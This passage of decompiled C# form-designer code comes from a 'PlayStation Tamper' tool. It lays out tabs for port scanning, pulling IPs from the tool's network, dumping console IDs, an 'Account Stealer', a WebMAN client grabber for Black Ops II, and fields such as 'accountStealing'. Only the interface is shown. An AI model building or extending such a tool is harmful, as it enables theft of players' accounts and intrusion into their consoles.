  1672. this.textEdit3.TabIndex = 12;
  1673. this.labelControl5.Location = new Point(244, 52);
  1674. this.labelControl5.Name = "labelControl5";
  1675. this.labelControl5.Size = new Size(5, 16);
  1676. this.labelControl5.TabIndex = 11;
  1677. this.labelControl5.Text = ":";
  1678. this.labelControl4.Appearance.ForeColor = Color.Red;
  1679. this.labelControl4.Location = new Point(356, 83);
  1680. this.labelControl4.Name = "labelControl4";
  1681. this.labelControl4.Size = new Size(73, 16);
  1682. this.labelControl4.TabIndex = 10;
  1683. this.labelControl4.Text = "Unconnected";
  1684. this.labelControl3.Location = new Point(309, 83);
  1685. this.labelControl3.Name = "labelControl3";
  1686. this.labelControl3.Size = new Size(41, 16);
  1687. this.labelControl3.TabIndex = 9;
  1688. this.labelControl3.Text = "Status:";
  1689. this.simpleButton5.Enabled = false;
  1690. this.simpleButton5.Location = new Point(309, 50);
  1691. this.simpleButton5.Name = "simpleButton5";
  1692. this.simpleButton5.Size = new Size(116, 23);
  1693. this.simpleButton5.TabIndex = 8;
  1694. this.simpleButton5.Text = "Undo";
  1695. this.simpleButton5.Click += new EventHandler(this.simpleButton5_Click);
  1696. this.radioGroup1.EditValue = "1";
  1697. this.radioGroup1.Enabled = false;
  1698. this.radioGroup1.Location = new Point(11, 108);
  1699. this.radioGroup1.Name = "radioGroup1";
  1700. this.radioGroup1.Properties.Items.AddRange(new RadioGroupItem[]
  1701. {
  1702. new RadioGroupItem("1", "Default Port"),
  1703. new RadioGroupItem("2", "Custom Port"),
  1704. new RadioGroupItem("3", "Port Scan")
  1705. });
  1706. this.radioGroup1.Size = new Size(414, 28);
  1707. this.radioGroup1.TabIndex = 7;
  1708. this.radioGroup1.SelectedIndexChanged += new EventHandler(this.radioGroup1_SelectedIndexChanged);
  1709. this.simpleButton3.Enabled = false;
  1710. this.simpleButton3.Location = new Point(11, 79);
  1711. this.simpleButton3.Name = "simpleButton3";
  1712. this.simpleButton3.Size = new Size(292, 23);
  1713. this.simpleButton3.TabIndex = 6;
  1714. this.simpleButton3.Text = "Connect to Console";
  1715. this.simpleButton3.Click += new EventHandler(this.simpleButton3_Click);
  1716. this.simpleButton2.Enabled = false;
  1717. this.simpleButton2.Location = new Point(11, 149);
  1718. this.simpleButton2.Name = "simpleButton2";
  1719. this.simpleButton2.Size = new Size(292, 23);
  1720. this.simpleButton2.TabIndex = 5;
  1721. this.simpleButton2.Text = "Get IPs From PlayStation Tamper's Network";
  1722. this.simpleButton2.Click += new EventHandler(this.simpleButton2_Click);
  1723. this.listBoxControl1.Location = new Point(11, 179);
  1724. this.listBoxControl1.Name = "listBoxControl1";
  1725. this.listBoxControl1.Size = new Size(292, 409);
  1726. this.listBoxControl1.TabIndex = 4;
  1727. this.listBoxControl1.SelectedIndexChanged += new EventHandler(this.listBoxControl1_SelectedIndexChanged);
  1728. this.labelControl1.Location = new Point(11, 53);
  1729. this.labelControl1.Name = "labelControl1";
  1730. this.labelControl1.Size = new Size(29, 16);
  1731. this.labelControl1.TabIndex = 3;
  1732. this.labelControl1.Text = "IPv4:";
  1733. this.textEdit1.EditValue = "";
  1734. this.textEdit1.Location = new Point(52, 51);
  1735. this.textEdit1.Name = "textEdit1";
  1736. this.textEdit1.Size = new Size(186, 22);
  1737. this.textEdit1.TabIndex = 2;
  1738. this.simpleButton1.Enabled = false;
  1739. this.simpleButton1.Location = new Point(11, 22);
  1740. this.simpleButton1.Name = "simpleButton1";
  1741. this.simpleButton1.Size = new Size(414, 23);
  1742. this.simpleButton1.TabIndex = 1;
  1743. this.simpleButton1.Text = "Change Connection Method: Singular";
  1744. this.simpleButton1.Click += new EventHandler(this.simpleButton1_Click);
  1745. this.xtraTabPage2.Controls.Add(this.comboBoxEdit2);
  1746. this.xtraTabPage2.Controls.Add(this.labelControl10);
  1747. this.xtraTabPage2.Controls.Add(this.simpleButton9);
  1748. this.xtraTabPage2.Controls.Add(this.textEdit5);
  1749. this.xtraTabPage2.Controls.Add(this.webBrowser1);
  1750. this.xtraTabPage2.Name = "xtraTabPage2";
  1751. this.xtraTabPage2.Size = new Size(1114, 602);
  1752. this.xtraTabPage2.Text = "PlayStation File Explorer";
  1753. this.comboBoxEdit2.EditValue = "Client";
  1754. this.comboBoxEdit2.Enabled = false;
  1755. this.comboBoxEdit2.Location = new Point(348, 572);
  1756. this.comboBoxEdit2.Name = "comboBoxEdit2";
  1757. this.comboBoxEdit2.Properties.Buttons.AddRange(new EditorButton[]
  1758. {
  1759. new EditorButton(ButtonPredefines.Combo)
  1760. });
  1761. this.comboBoxEdit2.Properties.TextEditStyle = TextEditStyles.DisableTextEditor;
  1762. this.comboBoxEdit2.Size = new Size(96, 22);
  1763. this.comboBoxEdit2.TabIndex = 12;
  1764. this.labelControl10.Location = new Point(450, 575);
  1765. this.labelControl10.Name = "labelControl10";
  1766. this.labelControl10.Size = new Size(87, 16);
  1767. this.labelControl10.TabIndex = 11;
  1768. this.labelControl10.Text = "Download URL:";
  1769. this.simpleButton9.Location = new Point(987, 572);
  1770. this.simpleButton9.Name = "simpleButton9";
  1771. this.simpleButton9.Size = new Size(116, 23);
  1772. this.simpleButton9.TabIndex = 10;
  1773. this.simpleButton9.Text = "Download File";
  1774. this.simpleButton9.Click += new EventHandler(this.simpleButton9_Click_1);
  1775. this.textEdit5.EditValue = "";
  1776. this.textEdit5.Location = new Point(543, 572);
  1777. this.textEdit5.Name = "textEdit5";
  1778. this.textEdit5.Size = new Size(438, 22);
  1779. this.textEdit5.TabIndex = 9;
  1780. this.webBrowser1.ContextMenuStrip = this.contextMenuStrip1;
  1781. this.webBrowser1.Dock = DockStyle.Top;
  1782. this.webBrowser1.IsWebBrowserContextMenuEnabled = false;
  1783. this.webBrowser1.Location = new Point(0, 0);
  1784. this.webBrowser1.MinimumSize = new Size(20, 20);
  1785. this.webBrowser1.Name = "webBrowser1";
  1786. this.webBrowser1.ScriptErrorsSuppressed = true;
  1787. this.webBrowser1.Size = new Size(1114, 562);
  1788. this.webBrowser1.TabIndex = 0;
  1789. this.webBrowser1.Url = new Uri("http://playstationtamper.com/landing.html", UriKind.Absolute);
  1790. this.webBrowser1.WebBrowserShortcutsEnabled = false;
  1791. this.webBrowser1.DocumentCompleted += new WebBrowserDocumentCompletedEventHandler(this.webBrowser1_DocumentCompleted);
  1792. this.contextMenuStrip1.ImageScalingSize = new Size(20, 20);
  1793. this.contextMenuStrip1.Items.AddRange(new ToolStripItem[]
  1794. {
  1795. this.forwardToolStripMenuItem,
  1796. this.backToolStripMenuItem,
  1797. this.homeToolStripMenuItem
  1798. });
  1799. this.contextMenuStrip1.Name = "contextMenuStrip1";
  1800. this.contextMenuStrip1.Size = new Size(133, 76);
  1801. this.forwardToolStripMenuItem.Name = "forwardToolStripMenuItem";
  1802. this.forwardToolStripMenuItem.Size = new Size(132, 24);
  1803. this.forwardToolStripMenuItem.Text = "Forward";
  1804. this.forwardToolStripMenuItem.Click += new EventHandler(this.forwardToolStripMenuItem_Click);
  1805. this.backToolStripMenuItem.Name = "backToolStripMenuItem";
  1806. this.backToolStripMenuItem.Size = new Size(132, 24);
  1807. this.backToolStripMenuItem.Text = "Back";
  1808. this.backToolStripMenuItem.Click += new EventHandler(this.backToolStripMenuItem_Click);
  1809. this.homeToolStripMenuItem.Name = "homeToolStripMenuItem";
  1810. this.homeToolStripMenuItem.Size = new Size(132, 24);
  1811. this.homeToolStripMenuItem.Text = "Home";
  1812. this.homeToolStripMenuItem.Click += new EventHandler(this.homeToolStripMenuItem_Click);
  1813. this.xtraTabPage3.Controls.Add(this.textEdit4);
  1814. this.xtraTabPage3.Controls.Add(this.labelControl9);
  1815. this.xtraTabPage3.Controls.Add(this.labelControl8);
  1816. this.xtraTabPage3.Controls.Add(this.memoEdit3);
  1817. this.xtraTabPage3.Controls.Add(this.simpleButton8);
  1818. this.xtraTabPage3.Controls.Add(this.listBoxControl2);
  1819. this.xtraTabPage3.Name = "xtraTabPage3";
  1820. this.xtraTabPage3.Size = new Size(1114, 602);
  1821. this.xtraTabPage3.Text = "Console ID Dumper";
  1822. this.textEdit4.Location = new Point(475, 560);
  1823. this.textEdit4.Name = "textEdit4";
  1824. this.textEdit4.Properties.ReadOnly = true;
  1825. this.textEdit4.Properties.UseReadOnlyAppearance = false;
  1826. this.textEdit4.Size = new Size(347, 22);
  1827. this.textEdit4.TabIndex = 10;
  1828. this.labelControl9.Location = new Point(475, 16);
  1829. this.labelControl9.Name = "labelControl9";
  1830. this.labelControl9.Size = new Size(26, 16);
  1831. this.labelControl9.TabIndex = 9;
  1832. this.labelControl9.Text = "CIDs";
  1833. this.labelControl8.Location = new Point(237, 15);
  1834. this.labelControl8.Name = "labelControl8";
  1835. this.labelControl8.Size = new Size(120, 16);
  1836. this.labelControl8.TabIndex = 8;
  1837. this.labelControl8.Text = "IPv4's (One Per Line)";
  1838. this.memoEdit3.Location = new Point(237, 37);
  1839. this.memoEdit3.Name = "memoEdit3";
  1840. this.memoEdit3.Size = new Size(232, 516);
  1841. this.memoEdit3.TabIndex = 7;
  1842. this.simpleButton8.Location = new Point(237, 559);
  1843. this.simpleButton8.Name = "simpleButton8";
  1844. this.simpleButton8.Size = new Size(232, 23);
  1845. this.simpleButton8.TabIndex = 6;
  1846. this.simpleButton8.Text = "Dump CID from IPs";
  1847. this.simpleButton8.Click += new EventHandler(this.simpleButton8_Click);
  1848. this.listBoxControl2.Location = new Point(475, 38);
  1849. this.listBoxControl2.Name = "listBoxControl2";
  1850. this.listBoxControl2.Size = new Size(347, 515);
  1851. this.listBoxControl2.TabIndex = 5;
  1852. this.listBoxControl2.SelectedIndexChanged += new EventHandler(this.listBoxControl2_SelectedIndexChanged);
  1853. this.xtraTabPage4.Controls.Add(this.xtraTabControl2);
  1854. this.xtraTabPage4.Name = "xtraTabPage4";
  1855. this.xtraTabPage4.Size = new Size(1114, 602);
  1856. this.xtraTabPage4.Text = "xRegistry Options";
  1857. this.xtraTabControl2.Dock = DockStyle.Fill;
  1858. this.xtraTabControl2.Location = new Point(0, 0);
  1859. this.xtraTabControl2.Name = "xtraTabControl2";
  1860. this.xtraTabControl2.SelectedTabPage = this.xtraTabPage12;
  1861. this.xtraTabControl2.Size = new Size(1114, 602);
  1862. this.xtraTabControl2.TabIndex = 23;
  1863. this.xtraTabControl2.TabPages.AddRange(new XtraTabPage[]
  1864. {
  1865. this.xtraTabPage12,
  1866. this.xtraTabPage13
  1867. });
  1868. this.xtraTabPage12.Controls.Add(this.comboBoxEdit3);
  1869. this.xtraTabPage12.Controls.Add(this.labelControl7);
  1870. this.xtraTabPage12.Controls.Add(this.lvEntries);
  1871. this.xtraTabPage12.Controls.Add(this.simpleButton7);
  1872. this.xtraTabPage12.Name = "xtraTabPage12";
  1873. this.xtraTabPage12.Size = new Size(1112, 572);
  1874. this.xtraTabPage12.Text = "xRegistry Viewer";
  1875. this.comboBoxEdit3.EditValue = "From File";
  1876. this.comboBoxEdit3.Location = new Point(11, 3);
  1877. this.comboBoxEdit3.Name = "comboBoxEdit3";
  1878. this.comboBoxEdit3.Properties.Buttons.AddRange(new EditorButton[]
  1879. {
  1880. new EditorButton(ButtonPredefines.Combo)
  1881. });
  1882. this.comboBoxEdit3.Properties.Items.AddRange(new object[]
  1883. {
  1884. "From File",
  1885. "From Connection"
  1886. });
  1887. this.comboBoxEdit3.Properties.TextEditStyle = TextEditStyles.DisableTextEditor;
  1888. this.comboBoxEdit3.Size = new Size(139, 22);
  1889. this.comboBoxEdit3.TabIndex = 21;
  1890. this.labelControl7.Location = new Point(404, 7);
  1891. this.labelControl7.Name = "labelControl7";
  1892. this.labelControl7.Size = new Size(73, 16);
  1893. this.labelControl7.TabIndex = 20;
  1894. this.labelControl7.Text = "by Stroker25";
  1895. this.lvEntries.BackColor = Color.FromArgb(37, 37, 38);
  1896. this.lvEntries.Columns.AddRange(new ColumnHeader[]
  1897. {
  1898. this.chChecksum,
  1899. this.chSetting,
  1900. this.chValue,
  1901. this.chHeaderValue,
  1902. this.chFlags
  1903. });
  1904. this.lvEntries.ForeColor = Color.FromArgb(240, 240, 240);
  1905. this.lvEntries.FullRowSelect = true;
  1906. this.lvEntries.Location = new Point(11, 33);
  1907. this.lvEntries.Margin = new Padding(4);
  1908. this.lvEntries.Name = "lvEntries";
  1909. this.lvEntries.Size = new Size(1090, 535);
  1910. this.lvEntries.TabIndex = 19;
  1911. this.lvEntries.UseCompatibleStateImageBehavior = false;
  1912. this.lvEntries.View = View.Details;
  1913. this.lvEntries.SelectedIndexChanged += new EventHandler(this.lvEntries_SelectedIndexChanged_1);
  1914. this.chChecksum.Text = "Checksum";
  1915. this.chChecksum.Width = 139;
  1916. this.chSetting.Text = "Setting";
  1917. this.chSetting.Width = 288;
  1918. this.chValue.Text = "Value";
  1919. this.chValue.Width = 237;
  1920. this.chHeaderValue.Text = "Header Value";
  1921. this.chHeaderValue.Width = 97;
  1922. this.chFlags.Text = "Flags";
  1923. this.chFlags.Width = 157;
  1924. this.simpleButton7.Location = new Point(156, 3);
  1925. this.simpleButton7.Name = "simpleButton7";
  1926. this.simpleButton7.Size = new Size(242, 23);
  1927. this.simpleButton7.TabIndex = 18;
  1928. this.simpleButton7.Text = "Open xRegistry.sys";
  1929. this.simpleButton7.Click += new EventHandler(this.simpleButton7_Click);
  1930. this.xtraTabPage13.Controls.Add(this.listView2);
  1931. this.xtraTabPage13.Controls.Add(this.comboBoxEdit4);
  1932. this.xtraTabPage13.Controls.Add(this.simpleButton13);
  1933. this.xtraTabPage13.Name = "xtraTabPage13";
  1934. this.xtraTabPage13.Size = new Size(1112, 572);
  1935. this.xtraTabPage13.Text = "Account Stealer";
  1936. this.listView2.BackColor = Color.FromArgb(37, 37, 38);
  1937. this.listView2.Columns.AddRange(new ColumnHeader[]
  1938. {
  1939. this.columnHeader9,
  1940. this.columnHeader3,
  1941. this.columnHeader8
  1942. });
  1943. this.listView2.ContextMenuStrip = this.contextMenuStrip3;
  1944. this.listView2.ForeColor = Color.FromArgb(240, 240, 240);
  1945. this.listView2.FullRowSelect = true;
  1946. this.listView2.Location = new Point(11, 33);
  1947. this.listView2.Margin = new Padding(4);
  1948. this.listView2.MultiSelect = false;
  1949. this.listView2.Name = "listView2";
  1950. this.listView2.Size = new Size(1090, 535);
  1951. this.listView2.TabIndex = 24;
  1952. this.listView2.UseCompatibleStateImageBehavior = false;
  1953. this.listView2.View = View.Details;
  1954. this.columnHeader9.Text = "Account";
  1955. this.columnHeader9.Width = 124;
  1956. this.columnHeader3.Text = "Entry";
  1957. this.columnHeader3.Width = 308;
  1958. this.columnHeader8.Text = "Type";
  1959. this.columnHeader8.Width = 142;
  1960. this.contextMenuStrip3.ImageScalingSize = new Size(20, 20);
  1961. this.contextMenuStrip3.Items.AddRange(new ToolStripItem[]
  1962. {
  1963. this.copyEntryToolStripMenuItem
  1964. });
  1965. this.contextMenuStrip3.Name = "contextMenuStrip3";
  1966. this.contextMenuStrip3.Size = new Size(150, 28);
  1967. this.copyEntryToolStripMenuItem.Name = "copyEntryToolStripMenuItem";
  1968. this.copyEntryToolStripMenuItem.Size = new Size(149, 24);
  1969. this.copyEntryToolStripMenuItem.Text = "Copy Entry";
  1970. this.copyEntryToolStripMenuItem.Click += new EventHandler(this.copyEntryToolStripMenuItem_Click);
  1971. this.comboBoxEdit4.EditValue = "From File";
  1972. this.comboBoxEdit4.Location = new Point(11, 3);
  1973. this.comboBoxEdit4.Name = "comboBoxEdit4";
  1974. this.comboBoxEdit4.Properties.Buttons.AddRange(new EditorButton[]
  1975. {
  1976. new EditorButton(ButtonPredefines.Combo)
  1977. });
  1978. this.comboBoxEdit4.Properties.Items.AddRange(new object[]
  1979. {
  1980. "From File",
  1981. "From Connection"
  1982. });
  1983. this.comboBoxEdit4.Properties.TextEditStyle = TextEditStyles.DisableTextEditor;
  1984. this.comboBoxEdit4.Size = new Size(139, 22);
  1985. this.comboBoxEdit4.TabIndex = 23;
  1986. this.simpleButton13.Location = new Point(156, 3);
  1987. this.simpleButton13.Name = "simpleButton13";
  1988. this.simpleButton13.Size = new Size(242, 23);
  1989. this.simpleButton13.TabIndex = 22;
  1990. this.simpleButton13.Text = "Open xRegistry.sys";
  1991. this.simpleButton13.Click += new EventHandler(this.simpleButton13_Click);
  1992. this.xtraTabPage5.Controls.Add(this.checkEdit1);
  1993. this.xtraTabPage5.Controls.Add(this.simpleButton4);
  1994. this.xtraTabPage5.Controls.Add(this.labelControl2);
  1995. this.xtraTabPage5.Controls.Add(this.textEdit2);
  1996. this.xtraTabPage5.Name = "xtraTabPage5";
  1997. this.xtraTabPage5.Size = new Size(1114, 602);
  1998. this.xtraTabPage5.Text = "Settings";
  1999. this.xtraTabPage5.Paint += new PaintEventHandler(this.xtraTabPage5_Paint);
  2000. this.checkEdit1.Location = new Point(11, 40);
  2001. this.checkEdit1.Name = "checkEdit1";
  2002. this.checkEdit1.Properties.Caption = "See if IP is online when retrieved from PST's Network (Can take up to 2 minutes)";
  2003. this.checkEdit1.Size = new Size(488, 20);
  2004. this.checkEdit1.TabIndex = 4;
  2005. this.checkEdit1.CheckedChanged += new EventHandler(this.checkEdit1_CheckedChanged);
  2006. this.simpleButton4.Location = new Point(535, 12);
  2007. this.simpleButton4.Name = "simpleButton4";
  2008. this.simpleButton4.Size = new Size(75, 23);
  2009. this.simpleButton4.TabIndex = 2;
  2010. this.simpleButton4.Text = "Set API Key";
  2011. this.simpleButton4.Click += new EventHandler(this.simpleButton4_Click);
  2012. this.labelControl2.Location = new Point(11, 15);
  2013. this.labelControl2.Name = "labelControl2";
  2014. this.labelControl2.Size = new Size(164, 16);
  2015. this.labelControl2.TabIndex = 1;
  2016. this.labelControl2.Text = "PlayStation Tamper API Key:";
  2017. this.textEdit2.Location = new Point(181, 12);
  2018. this.textEdit2.Name = "textEdit2";
  2019. this.textEdit2.Size = new Size(348, 22);
  2020. this.textEdit2.TabIndex = 0;
  2021. this.xtraTabPage7.Controls.Add(this.labelControl13);
  2022. this.xtraTabPage7.Controls.Add(this.memoEdit4);
  2023. this.xtraTabPage7.Controls.Add(this.labelControl12);
  2024. this.xtraTabPage7.Controls.Add(this.textEdit6);
  2025. this.xtraTabPage7.Controls.Add(this.simpleButton14);
  2026. this.xtraTabPage7.Name = "xtraTabPage7";
  2027. this.xtraTabPage7.Size = new Size(1114, 602);
  2028. this.xtraTabPage7.Text = "PS3MAPI";
  2029. this.labelControl13.Location = new Point(11, 455);
  2030. this.labelControl13.Name = "labelControl13";
  2031. this.labelControl13.Size = new Size(80, 16);
  2032. this.labelControl13.TabIndex = 19;
  2033. this.labelControl13.Text = "PS3MAPI Log:";
  2034. this.memoEdit4.Location = new Point(11, 477);
  2035. this.memoEdit4.Name = "memoEdit4";
  2036. this.memoEdit4.Properties.ReadOnly = true;
  2037. this.memoEdit4.Properties.UseReadOnlyAppearance = false;
  2038. this.memoEdit4.Size = new Size(1092, 114);
  2039. this.memoEdit4.TabIndex = 18;
  2040. this.labelControl12.Location = new Point(11, 16);
  2041. this.labelControl12.Name = "labelControl12";
  2042. this.labelControl12.Size = new Size(65, 16);
  2043. this.labelControl12.TabIndex = 6;
  2044. this.labelControl12.Text = "VSH Notify:";
  2045. this.textEdit6.EditValue = "";
  2046. this.textEdit6.Location = new Point(82, 13);
  2047. this.textEdit6.Name = "textEdit6";
  2048. this.textEdit6.Size = new Size(783, 22);
  2049. this.textEdit6.TabIndex = 5;
  2050. this.simpleButton14.Enabled = false;
  2051. this.simpleButton14.Location = new Point(871, 12);
  2052. this.simpleButton14.Name = "simpleButton14";
  2053. this.simpleButton14.Size = new Size(232, 23);
  2054. this.simpleButton14.TabIndex = 4;
  2055. this.simpleButton14.Text = "Send VSH Notification";
  2056. this.xtraTabPage6.Controls.Add(this.listView1);
  2057. this.xtraTabPage6.Controls.Add(this.simpleButton12);
  2058. this.xtraTabPage6.Controls.Add(this.labelControl11);
  2059. this.xtraTabPage6.Controls.Add(this.simpleButton11);
  2060. this.xtraTabPage6.Controls.Add(this.simpleButton10);
  2061. this.xtraTabPage6.Controls.Add(this.radioGroup2);
  2062. this.xtraTabPage6.Name = "xtraTabPage6";
  2063. this.xtraTabPage6.Size = new Size(1114, 602);
  2064. this.xtraTabPage6.Text = "WebMAN Grabber";
  2065. this.listView1.BackColor = Color.FromArgb(37, 37, 38);
  2066. this.listView1.BorderStyle = BorderStyle.FixedSingle;
  2067. this.listView1.Columns.AddRange(new ColumnHeader[]
  2068. {
  2069. this.columnHeader1,
  2070. this.columnHeader2
  2071. });
  2072. this.listView1.ContextMenuStrip = this.contextMenuStrip2;
  2073. this.listView1.ForeColor = Color.FromArgb(240, 240, 240);
  2074. this.listView1.GridLines = true;
  2075. this.listView1.Location = new Point(465, 108);
  2076. this.listView1.MultiSelect = false;
  2077. this.listView1.Name = "listView1";
  2078. this.listView1.Size = new Size(366, 407);
  2079. this.listView1.TabIndex = 12;
  2080. this.listView1.UseCompatibleStateImageBehavior = false;
  2081. this.listView1.View = View.Details;
  2082. this.columnHeader1.Text = "PSN";
  2083. this.columnHeader1.Width = 167;
  2084. this.columnHeader2.Text = "Running WebMAN";
  2085. this.columnHeader2.Width = 153;
  2086. this.contextMenuStrip2.ImageScalingSize = new Size(20, 20);
  2087. this.contextMenuStrip2.Items.AddRange(new ToolStripItem[]
  2088. {
  2089. this.connectToConsoleToolStripMenuItem
  2090. });
  2091. this.contextMenuStrip2.Name = "contextMenuStrip2";
  2092. this.contextMenuStrip2.Size = new Size(208, 28);
  2093. this.connectToConsoleToolStripMenuItem.Name = "connectToConsoleToolStripMenuItem";
  2094. this.connectToConsoleToolStripMenuItem.Size = new Size(207, 24);
  2095. this.connectToConsoleToolStripMenuItem.Text = "Connect to Console";
  2096. this.connectToConsoleToolStripMenuItem.Click += new EventHandler(this.connectToConsoleToolStripMenuItem_Click);
  2097. this.simpleButton12.Location = new Point(217, 209);
  2098. this.simpleButton12.Name = "simpleButton12";
  2099. this.simpleButton12.Size = new Size(242, 23);
  2100. this.simpleButton12.TabIndex = 10;
  2101. this.simpleButton12.Text = "Grab Clients";
  2102. this.simpleButton12.Click += new EventHandler(this.simpleButton12_Click);
  2103. this.labelControl11.Location = new Point(217, 86);
  2104. this.labelControl11.Name = "labelControl11";
  2105. this.labelControl11.Size = new Size(420, 16);
  2106. this.labelControl11.TabIndex = 9;
  2107. this.labelControl11.Text = "This Grabber is only for Black Ops II - Credits to SkullMods for the Offsets";
  2108. this.simpleButton11.Location = new Point(217, 180);
  2109. this.simpleButton11.Name = "simpleButton11";
  2110. this.simpleButton11.Size = new Size(242, 23);
  2111. this.simpleButton11.TabIndex = 8;
  2112. this.simpleButton11.Text = "Attach to Black Ops II";
  2113. this.simpleButton11.Click += new EventHandler(this.simpleButton11_Click);
  2114. this.simpleButton10.Location = new Point(217, 151);
  2115. this.simpleButton10.Name = "simpleButton10";
  2116. this.simpleButton10.Size = new Size(242, 23);
  2117. this.simpleButton10.TabIndex = 7;
  2118. this.simpleButton10.Text = "Connect to PlayStation";
  2119. this.simpleButton10.Click += new EventHandler(this.simpleButton10_Click_1);
  2120. this.radioGroup2.Location = new Point(217, 108);
  2121. this.radioGroup2.Name = "radioGroup2";
  2122. this.radioGroup2.Properties.Items.AddRange(new RadioGroupItem[]
  2123. {
  2124. new RadioGroupItem(null, "ControlConsole"),
  2125. new RadioGroupItem(null, "TargetManager")
  2126. });
  2127. this.radioGroup2.Size = new Size(242, 37);
  2128. this.radioGroup2.TabIndex = 0;
  2129. this.radioGroup2.SelectedIndexChanged += new EventHandler(this.radioGroup2_SelectedIndexChanged);
  2130. this.timer1.Interval = 50;
  2131. this.timer1.Tick += new EventHandler(this.timer1_Tick);
  2132. base.AutoScaleDimensions = new SizeF(7f, 16f);
  2133. base.AutoScaleMode = AutoScaleMode.Font;
  2134. base.ClientSize = new Size(1116, 632);
  2135. base.Controls.Add(this.xtraTabControl1);
  2136. base.FormBorderStyle = FormBorderStyle.FixedSingle;
  2137. base.Icon = (Icon)componentResourceManager.GetObject("$this.Icon");
  2138. base.LookAndFeel.SkinName = "Office 2013 Dark Gray";
  2139. base.MaximizeBox = false;
  2140. base.MinimizeBox = false;
  2141. base.Name = "Form1";
  2142. base.StartPosition = FormStartPosition.CenterScreen;
  2143. this.Text = "PlayStation Tamper | Tamper Tool";
  2144. base.Load += new EventHandler(this.Form1_Load);
  2145. ((ISupportInitialize)this.xtraTabControl1).EndInit();
  2146. this.xtraTabControl1.ResumeLayout(false);
  2147. this.xtraTabPage1.ResumeLayout(false);
  2148. this.xtraTabPage1.PerformLayout();
  2149. ((ISupportInitialize)this.memoEdit2.Properties).EndInit();
  2150. ((ISupportInitialize)this.memoEdit1.Properties).EndInit();
  2151. ((ISupportInitialize)this.comboBoxEdit1.Properties).EndInit();
  2152. ((ISupportInitialize)this.textEdit3.Properties).EndInit();
  2153. ((ISupportInitialize)this.radioGroup1.Properties).EndInit();
  2154. ((ISupportInitialize)this.listBoxControl1).EndInit();
  2155. ((ISupportInitialize)this.textEdit1.Properties).EndInit();
  2156. this.xtraTabPage2.ResumeLayout(false);
  2157. this.xtraTabPage2.PerformLayout();
  2158. ((ISupportInitialize)this.comboBoxEdit2.Properties).EndInit();
  2159. ((ISupportInitialize)this.textEdit5.Properties).EndInit();
  2160. this.contextMenuStrip1.ResumeLayout(false);
  2161. this.xtraTabPage3.ResumeLayout(false);
  2162. this.xtraTabPage3.PerformLayout();
  2163. ((ISupportInitialize)this.textEdit4.Properties).EndInit();
  2164. ((ISupportInitialize)this.memoEdit3.Properties).EndInit();
  2165. ((ISupportInitialize)this.listBoxControl2).EndInit();
  2166. this.xtraTabPage4.ResumeLayout(false);
  2167. ((ISupportInitialize)this.xtraTabControl2).EndInit();
  2168. this.xtraTabControl2.ResumeLayout(false);
  2169. this.xtraTabPage12.ResumeLayout(false);
  2170. this.xtraTabPage12.PerformLayout();
  2171. ((ISupportInitialize)this.comboBoxEdit3.Properties).EndInit();
  2172. this.xtraTabPage13.ResumeLayout(false);
  2173. this.contextMenuStrip3.ResumeLayout(false);
  2174. ((ISupportInitialize)this.comboBoxEdit4.Properties).EndInit();
  2175. this.xtraTabPage5.ResumeLayout(false);
  2176. this.xtraTabPage5.PerformLayout();
  2177. ((ISupportInitialize)this.checkEdit1.Properties).EndInit();
  2178. ((ISupportInitialize)this.textEdit2.Properties).EndInit();
  2179. this.xtraTabPage7.ResumeLayout(false);
  2180. this.xtraTabPage7.PerformLayout();
  2181. ((ISupportInitialize)this.memoEdit4.Properties).EndInit();
  2182. ((ISupportInitialize)this.textEdit6.Properties).EndInit();
  2183. this.xtraTabPage6.ResumeLayout(false);
  2184. this.xtraTabPage6.PerformLayout();
  2185. this.contextMenuStrip2.ResumeLayout(false);
  2186. ((ISupportInitialize)this.radioGroup2.Properties).EndInit();
  2187. base.ResumeLayout(false);
  2188. }
  2189.  
  2190. // Token: 0x04000001 RID: 1
  2191. private bool method;
  2192.  
  2193. // Token: 0x04000002 RID: 2
  2194. private string key;
  2195.  
  2196. // Token: 0x04000003 RID: 3
  2197. private static PS3API PS3 = new PS3API(1);
  2198.  
  2199. // Token: 0x04000004 RID: 4
  2200. public X360IO IO;
  2201.  
  2202. // Token: 0x04000005 RID: 5
  2203. private ListViewColumnSorter lvwColumnSorter;
  2204.  
  2205. // Token: 0x04000006 RID: 6
  2206. private bool FileLoaded;
  2207.  
  2208. // Token: 0x04000007 RID: 7
  2209. public List<SettingDataEntry> DataEntries;
  2210.  
  2211. // Token: 0x04000008 RID: 8
  2212. public List<SettingEntry> SettingEntries;
  2213.  
  2214. // Token: 0x04000009 RID: 9
  2215. public ListViewItem SelectedEntry;
  2216.  
  2217. // Token: 0x0400000A RID: 10
  2218. private string site = "playstationtamper.com";
  2219.  
  2220. // Token: 0x0400000B RID: 11
  2221. private string getSockets;
  2222.  
  2223. // Token: 0x0400000C RID: 12
  2224. private string hwid = string.Empty;
  2225.  
  2226. // Token: 0x0400000F RID: 15
  2227. private bool connected;
  2228.  
  2229. // Token: 0x04000010 RID: 16
  2230. private string temp;
  2231.  
  2232. // Token: 0x04000011 RID: 17
  2233. private string selItem;
  2234.  
  2235. // Token: 0x04000012 RID: 18
  2236. private int itt;
  2237.  
  2238. // Token: 0x04000013 RID: 19
  2239. private string webMANanswer;
  2240.  
  2241. // Token: 0x04000014 RID: 20
  2242. private bool CoNt;
  2243.  
  2244. // Token: 0x04000015 RID: 21
  2245. public static uint[] bo2 = new uint[]
  2246. {
  2247. 16377496u,
  2248. 16377638u,
  2249. 16377642u
  2250. };
  2251.  
  2252. // Token: 0x04000016 RID: 22
  2253. public static uint[] bo2p = new uint[]
  2254. {
  2255. 16423368u,
  2256. 16423470u,
  2257. 16423474u
  2258. };
  2259.  
  2260. // Token: 0x04000017 RID: 23
  2261. private string name;
  2262.  
  2263. // Token: 0x04000018 RID: 24
  2264. private string ip;
  2265.  
  2266. // Token: 0x04000019 RID: 25
  2267. private string port;
  2268.  
  2269. // Token: 0x0400001A RID: 26
  2270. private string result;
  2271.  
  2272. // Token: 0x0400001B RID: 27
  2273. private string PSN;
  2274.  
  2275. // Token: 0x0400001C RID: 28
  2276. public static uint NameOffset;
  2277.  
  2278. // Token: 0x0400001D RID: 29
  2279. public static uint ClanTagOffset;
  2280.  
  2281. // Token: 0x0400001E RID: 30
  2282. public static uint ClientIntervalOffset;
  2283.  
  2284. // Token: 0x0400001F RID: 31
  2285. private bool allowOpen;
  2286.  
  2287. // Token: 0x04000020 RID: 32
  2288. private bool accountStealing;
  2289.  
  2290. // Token: 0x04000021 RID: 33
  2291. private IContainer components = null;
  2292.  
  2293. // Token: 0x04000022 RID: 34
